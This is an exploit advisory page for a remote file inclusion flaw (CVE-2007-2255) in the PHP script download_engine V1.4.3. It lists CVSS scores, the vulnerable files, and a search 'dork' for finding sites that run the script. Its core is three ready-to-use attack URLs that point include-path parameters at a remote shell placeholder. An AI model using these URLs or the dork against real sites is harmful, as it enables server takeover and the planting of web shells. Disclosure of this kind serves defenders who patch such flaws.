Remot File Include download_engine_V1.4.3

2007-04-26 / 2007-04-27

Credit: Hasadya Raed

Risk: High

Local: No

Remote: Yes

CVE: CVE-2007-2255

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

By Hasadya Raed
Contact : RaeD (at) BsdMail (dot) Com [email concealed]
Israel
--------------------------
Script : download_engine_V1.4.3
Dork : (c) 2002 AlexScriptEngine
--------------------------
B.Files : 
addmember.php
class.phpmailer.php
colorpicker.php
--------------------------
Exploits :
http://www.Victim.com/download_engine_V1.4.3/addmember.php?eng_dir=[Shel
l-Attack]

http://www.Victim.com/download_engine_V1.4.3/admin/enginelib/class.phpma
iler.php?lang_pathr=[Shell-Attack]

http://www.Victim.com/download_engine_V1.4.3/admin/includes/spaw/dialogs
/colorpicker.php?spaw_root=[Shell-Attack]

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Remot File Include download_engine_V1.4.3

Dork: (c) 2002 AlexScriptEngine

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.